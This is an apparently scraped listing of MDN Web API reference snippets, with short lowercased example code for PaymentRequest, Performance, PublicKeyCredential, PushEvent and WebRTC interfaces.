<form id="form" method="post"> <input type="text" name="id" autocomplete="username" /> <input type="password" name="password" autocomplete="current-password" /> <input type="hidden" name="csrf_token" value="*****" /> </form> then, a reference to this form element, using it to create a passwordcredential object, and storing it in the browser's password system.
PasswordCredential.idName - Web APIs
syntax var idname = passwordcredential.idname passwordcredential.idname = "userid" value a usvstring represents the name used for the id field, when submitting the current object to a remote endpoint via fetch.
PasswordCredential.passwordName - Web APIs
syntax var passwordname = passwordcredential.passwordname passwordcredential.passwordname = "passcode" value a usvstring representing the password field name, used when submitting the current object to a remote endpoint via fetch.
Path2D.addPath() - Web APIs
WebAPIPath2DaddPath
html <canvas id="canvas"></canvas> javascript first, we create two separate path2d objects, each of which contains a rectangle made using the rect() method.
PayerErrors.email - Web APIs
WebAPIPayerErrorsemail
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####." } // check everything else too...
PayerErrors.name - Web APIs
WebAPIPayerErrorsname
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####." } // check everything else too...
PayerErrors.phone - Web APIs
WebAPIPayerErrorsphone
example function validatepayment(response) { const correctionpromises let paymenterrors = {}; let payererrors = {}; // check payer details if (!validemail(response.payeremail)) { payererrors.email = "please make sure you enter a valid email address." } if (!validname(response.payername)) { payererrors.email = "please enter a valid name, using only <appropriate characters>." } if (!validphone(response.payerphone)) { payererrors.phone = "please enter a valid phone number in the form ###-###-####." } // check everything else too...
PaymentAddress.languageCode - Web APIs
syntax var paymentlanguagecode = paymentaddress.languagecode; value a domstring providing the bcp-47 format language code indicating the language the address was written in, such as "en-us", "pt-br", or "ja-jp".
PaymentAddress.postalCode - Web APIs
in most of the world, it's known as the "post code" or "postal code." in the united states, the zip code is used.
PaymentAddress.regionCode - Web APIs
the regioncode read-only attribute of the paymentaddress interface returns a one-, two-, or three-alphanumeric code (domstring) representing the region of the address (e.g., "ca" for california, or "11" for lisbon, portugal).
PaymentCurrencyAmount.currency - Web APIs
let itemprice = { currency: "usd", value: "42.95" }; specifications specification status comment payment request apithe definition of 'paymentcurrencyamount.currency' in that specification.
PaymentCurrencyAmount - Web APIs
this string must only contain an optional leading "-" to indicate a negative value, then one or more digits from 0 to 9, and an optional decimal point (".", regardless of locale) followed by at least one more digit.
PaymentDetailsBase - Web APIs
for example, you can use one to adjust the total payment amount based on the selected payment method ("5% cash discount!").
PaymentDetailsUpdate - Web APIs
for example, you can use one to adjust the total payment amount based on the selected payment method ("5% cash discount!").
PaymentMethodChangeEvent.methodDetails - Web APIs
request.onpaymentmethodchange = function(ev) { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "visa": // do apple pay specific handling for visa card...
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
const details = { id: "super-store-order-123-12312", total: { label: "total due", amount: { currency: "usd", value: "65.00" }, }, }; const request = new paymentrequest(methoddata, details); console.log(request.id); // super-store-order-123-12312 the id is then also available in the paymentresponse returned from the show() method, but under the requestid attribute.
PaymentRequest: merchantvalidation event - Web APIs
request.addeventlistener("merchantvalidation", event => { event.complete(async () => { const merchantserverurl = window.location.origin + '/validate?url=' + encodeuricomponent(event.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(response => response.text()); }, false); }; const response = await request.show(); how merchant server handles...
PaymentRequest.onpaymentmethodchange - Web APIs
examples an example payment method change handler is shown below; this example handles changes made to the payment method when using apple pay, specifically: request.onpaymentmethodchange = ev => { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "store": // do apple pay specific handling for store card...
PaymentRequest.onshippingaddresschange - Web APIs
}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'onshippingaddresschange' in that specification.
PaymentRequest: shippingaddresschange event - Web APIs
const paymentrequest = new paymentrequest(methoddata, details, options); paymentrequest.addeventlistener("shippingaddresschange", event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors.
PaymentRequest - Web APIs
additionally, in some browsers, the parts of the address will be redacted for privacy until the user indicates they are ready to complete the transaction (i.e., they hit "pay").
PaymentRequestUpdateEvent.updateWith() - Web APIs
for example, you can use one to adjust the total payment amount based on the selected payment method ("5% cash discount!").
PaymentResponse.onpayerdetailchange - Web APIs
ion to the errors list const errors = await promise.all(promisestovalidate).then(results => results.reduce((errors, result), object.assign(errors, result)) ); // if we found any errors, wait for them to be corrected if (object.getownpropertynames(errors).length) { await response.retry(errors); } else { // we have a good payment; send the data to the server await fetch("/pay-for-things/", { method: "post", body: response.json() }); response.complete("success"); } }; await response.retry({ payer: { email: "invalid domain.", phone: "invalid number.", }, }); specifications specification status comment payment request apithe definition of 'onpayerdetailchange' in that specification.
PaymentResponse: payerdetailchange event - Web APIs
ion to the errors list const errors = await promise.all(promisestovalidate).then(results => results.reduce((errors, result), object.assign(errors, result)) ); // if we found any errors, wait for them to be corrected if (object.getownpropertynames(errors).length) { await response.retry(errors); } else { // we have a good payment; send the data to the server await fetch("/pay-for-things/", { method: "post", body: response.json() }); response.complete("success"); } }; await response.retry({ payer: { email: "invalid domain.", phone: "invalid number.", }, }); addeventlistener equivalent you could also set up the event handler using the addeventlistener() method: response.addeventlistener("payerdetailchange", async ev => { ...
PaymentResponse.shippingAddress - Web APIs
}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); function updatedetails(details, shippingaddress, resolve) { if (shippingaddress.country === 'us') { var shippingoption = { id: '', label: '', amount: {currency: 'usd', value: '0.00'}, selected: true }; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = 'free shi...
Performance.onresourcetimingbufferfull - Web APIs
function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that ...
Performance: resourcetimingbufferfull event - Web APIs
function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> note that you could also set up the handler using the addeventlistener() function: performance.addeventlistener('resourcetimingbufferfull', buffer_full); ...
performance.toJSON() - Web APIs
example var js; js = window.performance.tojson(); console.log("json = " + json.stringify(js)); specifications specification status comment high resolution time level 2the definition of 'tojson() serializer' in that specification.
PerformanceEventTiming - Web APIs
observer.observe({entrytypes: ["event"]}); we can also directly query the first input delay.
PerformanceNavigationTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("navigation"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performancenavigationtiming.tojson() = " + s); specifications specification status comment navigation timing level 2the definition of 'tojson()' in that specification.
PerformanceObserver() - Web APIs
example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver...
PerformanceObserver.takeRecords() - Web APIs
example var observer = new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); var records = observer.takerecords(); console.log(records[0].name); console.log(records[0].starttime); console.log(records[0].duration); specifications specification status comment performance timeline level 2the definition of 'takerecords()' in that specification.
PerformanceObserver - Web APIs
example function perf_observer(list, observer) { // process the "measure" event } var observer2 = new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver' in that specification.
PerformanceResourceTiming.nextHopProtocol - Web APIs
function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_nexthopprotocol(p[i]); } } function print_nexthopprotocol(perfentry) { var value = "nexthopprotocol" in perfentry; if (value) console.log("nexthopprotocol = " + perfentry.nexthopprotocol); else console.log("nexthopprotocol = not supported"); } specifications ...
PerformanceResourceTiming.toJSON() - Web APIs
example // get a resource performance entry var perfentries = performance.getentriesbytype("resource"); var entry = perfentries[0]; // get the json and log it var json = entry.tojson(); var s = json.stringify(json); console.log("performanceentry.tojson = " + s); specifications specification status comment resource timing level 2the definition of 'tojson' in that specification.
Performance Timeline - Web APIs
entrytype the type of performance metric (for example, "mark").
PhotoCapabilities.redEyeReduction - Web APIs
syntax const redeyereduction = photocapabilities.redeyereduction value one of "never", "always", or "controllable".
PointerEvent.tiltX - Web APIs
someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tiltx' in that specification.
PointerEvent.tiltY - Web APIs
someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tilty' in that specification.
PointerEvent.width - Web APIs
target.addeventlistener("pointerdown", function(ev) { // calculate the contact area var area = ev.width * ev.height; }, false); specifications specification status comment pointer events – level 2the definition of 'width' in that specification.
ProgressEvent.initProgressEvent() - Web APIs
the progressevent.initprogressevent() method initializes an animation event created using the deprecated document.createevent("progressevent") method.
PublicKeyCredential.id - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var id = newcredentialinfo.id; // do some...
PublicKeyCredential.rawId - Web APIs
examples var options = { challenge: new uint8array(26) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var rawid = pubkeycredential.rawid; ...
PublicKeyCredential.response - Web APIs
examples var options = { challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var response = pubkeycredential.response; var...
PublicKeyCredentialCreationOptions.challenge - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client exten...
PublicKeyCredentialCreationOptions.extensions - Web APIs
examples var publickey = { extensions:{ uvi: true, loc: false, uvm: false, exts: true }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // mybuffer will contain the result of any of the processin...
PublicKeyCredentialCreationOptions.timeout - Web APIs
challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client exten...
PublicKeyCredentialRequestOptions.challenge - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challe...
PublicKeyCredentialRequestOptions.extensions - Web APIs
examples var options = { extensions: { uvm: true, loc: false, txauthsimple: "could you please verify yourself?" }, challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specifi...
PublicKeyCredentialRequestOptions.timeout - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]), timeout: 6000 // wait a minute for the fetching operation // and maybe fail if it takes longer }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout...
PushEvent.data - Web APIs
WebAPIPushEventdata
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://e...
PushEvent - Web APIs
WebAPIPushEvent
self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('http...
PushManager.register() - Web APIs
example var req = navigator.push.register(); req.onsuccess = function(e) { var endpoint = req.result; debug("new endpoint: " + endpoint ); } req.onerror = function(e) { debug("error getting a new endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
PushManager.subscribe() - Web APIs
for more information, see "using vapid with webpush".
PushManager.unregister() - Web APIs
example var req = navigator.push.unregister(pushendpoint); req.onsuccess = function(e) { var endpoint = req.result; debug("unregistered endpoint: " + endpoint ); } req.onerror = function(e) { debug("error unregistering the endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
RTCConfiguration.bundlePolicy - Web APIs
let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], bundlepolicy: "max-compat" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcconfiguration.bundlepolicy' in that specification.
RTCConfiguration.iceServers - Web APIs
var configuration = { iceservers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: ["stun:stun.example.com", "stun:stun-1.example.com"] }] }; var pc = new rtcpeerconnection(configuration); specifications specification status comment w...
RTCConfiguration.iceTransportPolicy - Web APIs
let config = { iceservers: [ { urls: [ "stun:stun.example.com" ] }, ], icetransportpolicy: "relay" }; let pc = new rtcpeerconnection(config); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtccandidate.icetransportpolicy' in that specification.
RTCDTMFSender.insertDTMF() - Web APIs
a "," character inserts a two second delay.
RTCDataChannel: bufferedamountlow event - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("sendfile"); let source = /* source data object */ dc.bufferedamountlowthreshold = 65536; pc.addeventlistener("bufferedamountlow", ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } }, false); after creating the rtcpeerconnection, this calls rtcpeerconnection.createdatachannel() to create the data channel.
RTCDataChannel: close event - Web APIs
dc.addeventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all this code does in response to receiving the close event is to disable an input box and its "send" button, and to enable the button used to start a call (while disabling the one that ends a call).
RTCDataChannel.id - Web APIs
WebAPIRTCDataChannelid
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); console.log("channel id: " + dc.id); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.id' in that specification.
RTCDataChannel.onbufferedamountlow - Web APIs
pc = new rtcpeerconnection(); dc = pc.createdatachannel("sendfile"); /* ...
RTCDataChannel.onclose - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("messagechannel")}}; dc.onopen = function(event) { document.getelementbyid("messagebox").disabled = false; document.getelementbyid("sendbutton").disabled = false; }; dc.onclose = function(event) { document.getelementbyid("messagebox").disabled = true; document.getelementbyid("sendbutton").disabled = true; } /* now negotiate the connection, etc...
RTCDataChannel.onclosing - Web APIs
this is a simple event which indicates that the data channel is being closed, that is, rtcdatachannel transitions to "closing" state.
RTCDataChannel.onerror - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("playercontrol"); dc.onerror = function(event) { myuilibrary.doalertbox({ 'network error', // alert title 'the error "' + event.message + '" occurred while handling player control network messages.', event.filename, event.lineno, event.colno }); } /* ...
RTCDataChannel.onmessage - Web APIs
let pc = new rtcpeerconnection(); let dc = pc.createdatachannel(); dc.onmessage = function(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.onmessage' in that specification.
RTCDataChannel.onopen - Web APIs
let dc = mypeerconnection.createdatachannel("message channel"); dc.onopen = function(event) { let messagebox = document.getelementbyid("messagebox"); let sendbutton = document.getelementbyid("sendbutton"); messagebox.disabled = false; messagebox.focus(); sendbutton.disabled = false; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'r...
RTCDataChannel: open event - Web APIs
dc.addeventlistener("open", ev => { messageinputbox.disabled = false; sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false); this can also be done by directly setting the value of the channel's onopen event handler property.
RTCDataChannel.ordered - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification.
RTCDataChannel.stream - Web APIs
example var datachannel = pc.createdatachannel("samplechannel"); console.log("data channel stream id: " + datachannel.stream); ...
RTCError - Web APIs
WebAPIRTCError
datachannel.addeventlistener("error", (event) => { let error = event.error; if (error.errordetail === "sdp-syntax-error") { let errline = error.sdplinenumber; let errmessage = error.message; let alertmessage = `a syntax error occurred interpreting line ${errline} of the sdp: ${errmessage}`; showmyalertmessage("data channel error", alertmessage); } else { terminatemyconnection(); } }); if the err...
RTCErrorEvent.error - Web APIs
datachannel.addeventlistener("error", (event) => { let error = event.error; if (error.errordetail === "sdp-syntax-error") { let errline = error.sdplinenumber; let errmessage = error.message; let alertmessage = `a syntax error occurred interpreting line ${errline} of the sdp: ${errmessage}`; showmyalertmessage("data channel error", alertmessage); } else { terminatemyconnection(); } }); if the err...
RTCIceCandidate.RTCIceCandidate() - Web APIs
the default value of candidate is the empty string, which indicates that the candidate is an "end-of-candidates" message.
RTCIceCandidate.foundation - Web APIs
usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the field "4234997325" is the foundation.
RTCIceCandidate.port - Web APIs
usage notes consider this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the port number is found in the sixth field, which is "44323".
RTCIceCandidate.priority - Web APIs
var bestcandidate = { candidate: "", sdpmid: null, sdpmlineindex: null, priority: 0 }; function handlecandidate(candidatestring) { var candidate = new rtcicecandidate(candidatestring); if (candidate.priority > bestcandidate.priority) { bestcandidate = candidate; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicec...
RTCIceCandidate.type - Web APIs
if (candidate.type == "host") { showhostcontrols(); } else { hidehostcontrols(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.type' in that specification.
RTCIceCandidateInit.usernameFragment - Web APIs
value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
RTCIceCandidateInit - Web APIs
if the candidate is an indicator that there are no further candidates (rather than representing a new candidate), this is the empty string ("").
RTCIceCandidatePair - Web APIs
var icetransport = pc.getsenders()[0].transport.icetransport; var localproto = document.getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment ...
RTCIceCandidatePairStats.selected - Web APIs
function getcurrentcandidatepair(statsresults) { statsresults.foreach(report => { if (report.type === "transport") { currentpair = statsresults.get(report.selectedcandidatepairid); } }); if (!currentpair) { statsresults.foreach(report => { if (report.type === "candidate-pair" && report.selected) { currentpair = report; } }); } return currentpair; } specifications not part of any specification.
RTCIceCandidatePairStats - Web APIs
if (rtcstats && rtcstats.type === "candidate-pair") { let elapsed = (rtcstats.lastrequesttimestamp - rtcstats.firstrequesttimestamp) / rtcstats.requestssent; log("average time between ice connectivity checks: " + elapsed + " ms."); } the code begins by looking at rtcstats to see if its type is candidate-pair.
RTCIceCandidateStats.address - Web APIs
if the value is entirely comprised of hexadecimal digits and colon (":") characters, it is interpreted as an ipv6 address.
RTCIceCandidateStats.priority - Web APIs
during ice negotiation while setting up a webrtc peer connection, the priority values reported to the remote peer by a user agent are used to determine which candidates are considered "more desirable".
RTCIceCandidateStats - Web APIs
const isusablenetworktype = stats => { switch(stats.networktype) { case "ethernet": case "vpn": return true; case "bluetooth": case "cellular": case "wimax": case "unknown": default: return false; } } if (rtcstats && rtcstats.type === "local-candidate") { if (!isusablenetworktype(rtcstats)) { abortconnection(); return; } } this code calls a function called abortconnection() if the rtcstats object represents informat...
RTCIceParameters.usernameFragment - Web APIs
the rtciceparameters dictionary's usernamefragment property specifies the username fragment ("ufrag") that uniquely identifies the corresponding ice session for the duration of the current ice session.
RTCIceServer.url - Web APIs
WebAPIRTCIceServerurl
mypeerconnection = new rtcpeerconnection({ iceservers: [ { url: "stun:stunserver.example.org" } ] }); unfortunately, the only way to tell ice that the server has a backup domain name of stunserver2.example.org is to add a new entry to the iceservers array for it.
RTCIceServer - Web APIs
var configuration = { iceservers: [{ urls: "stun:stun.services.mozilla.com", username: "louis@mozilla.com", credential: "webrtcdemo" }, { urls: [ "stun:stun.example.com", "stun:stun-1.example.com" ] }] }; var pc = new rtcpeerco...
RTCIceTransport.getLocalCandidates() - Web APIs
var localcandidates = pc.getsenders()[0].transport.transport.getlocalcandidates(); localcandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getlocalcandidates()' in that specification.
RTCIceTransport.getRemoteCandidates() - Web APIs
var remotecandidates = pc.getsenders()[0].transport.transport.getremotecandidates(); remotecandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getremotecandidates()' in that specification.
RTCIceTransport.getSelectedCandidatePair() - Web APIs
var icetransport = pc.getsenders()[0].transport.icetransport; var localproto = document.getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment ...
RTCIceTransport.onselectedcandidatepairchange - Web APIs
var icetransport = pc.getsenders()[0].transport.icetransport; var localproto = document.getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment ...
RTCIceTransport: statechange event - Web APIs
let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.addeventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification ...
RTCIdentityErrorEvent.idp - Web APIs
syntax var idp = event.idp; event.idp = "developer.mozilla.org"; example pc.onidpassertionerror = function( ev ) { alert("the idp named '" + ev.idp + "' encountered an error " + "while generating an assertion."); } ...
RTCIdentityErrorEvent.loginUrl - Web APIs
syntax var loginurl = event.loginurl; event.loginurl = "https://developer.mozilla.org/fakeurl"; example pc.onidpassertionerror = function( ev ) { alert("the idp requested an authentication" + " to be performed at th3 url '" + ev.url + "'."); } ...
RTCIdentityErrorEvent.protocol - Web APIs
syntax var protocol = event.protocol; event.protocol = "idp.html"; example pc.onidpassertionerror = function( ev ) { alert("the idp uses the following protocol '" + ev.protocol + "."); } ...
RTCIdentityErrorEvent - Web APIs
examples pc.onidpassertionerror = function( ev ) { alert("the idp named '" + ev.idp + "' encountered an error " + "while generating an assertion."); } ...
RTCIdentityEvent.assertion - Web APIs
syntax var blob = event.assertion; example pc.onidentityresult = function( ev ) { alert("a new identity assertion (blob: '" + ev.assertion + "') has been generated."); } ...
RTCIdentityEvent - Web APIs
examples pc.onidentityresult = function( ev ) { alert("a new identity assertion (blob: '" + ev.assertion + "') has been generated."); } ...
RTCInboundRtpStreamStats.nackCount - Web APIs
a nack (negative acknowledgement, also called "generic nack") packet tells the sender that one or more of the rtp packets it sent were lost in transport.
RTCOutboundRtpStreamStats.nackCount - Web APIs
a nack (negative acknowledgement, also called "generic nack") packet is used by the rtcrtpreceiver to inform the sender that one or more rtp packets it sent were lost in transport.
RTCOutboundRtpStreamStats - Web APIs
senderid the {domxref("rtcstats.id", "id")}} of the rtcaudiosenderstats or rtcvideosenderstats object containing statistics about this stream's rtcrtpsender.
RTCPeerConnection.addTransceiver() - Web APIs
the string must be either "audio" or "video".
RTCPeerConnection: addstream event - Web APIs
you can also use the addeventlistener() method to set an event listener: pc.addeventlistener("addstream", ev => doaddstream(ev.stream), false); ...
RTCPeerConnection.canTrickleIceCandidates - Web APIs
if trickling isn't supported, or you aren't able to tell, you can check for a falsy value for this property and then wait until the value of icegatheringstate changes to "completed" before creating and sending the initial offer.
RTCPeerConnection.close() - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communic...
RTCPeerConnection.createAnswer() - Web APIs
in this case, a websocket connection is used to send a json message with a type field with the value "video-answer" to the other peer, carrying the answer to the device which sent the offer to connect.
RTCPeerConnection.currentLocalDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentlocaldescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentlocaldescription' in that specification.
RTCPeerConnection.currentRemoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentremotedescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentremotedescription' in that specification.
RTCPeerConnection: datachannel event - Web APIs
pc.addeventlistener("datachannel", ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; }, false); receivechannel is set to the value of the event's channel property, which specifies the rtcdatachannel object representing the data channel linking the remote peer to the local one.
RTCPeerConnection.getIdentityAssertion() - Web APIs
this has an effect only if the signalingstate is not "closed".
RTCPeerConnection.getStreamById() - Web APIs
example var stream = pc.getstreambyid(mytrackid); if (stream) { console.log("found stream: " + stream.id); } polyfill running the following code before any other code will create rtcpeerconnection.prototype.getstreambyid() if it's not natively available.
RTCPeerConnection: icecandidateerror event - Web APIs
pc.addeventlistener("icecandidateerror", (event) => { if (event.errorcode === 701) { reportconnectfail(event.url, event.errortext); } }); note that if multiple stun and/or turn servers are provided when creating the connection, this error may happen more than once, if more than one of those servers fails.
RTCPeerConnection.localDescription - Web APIs
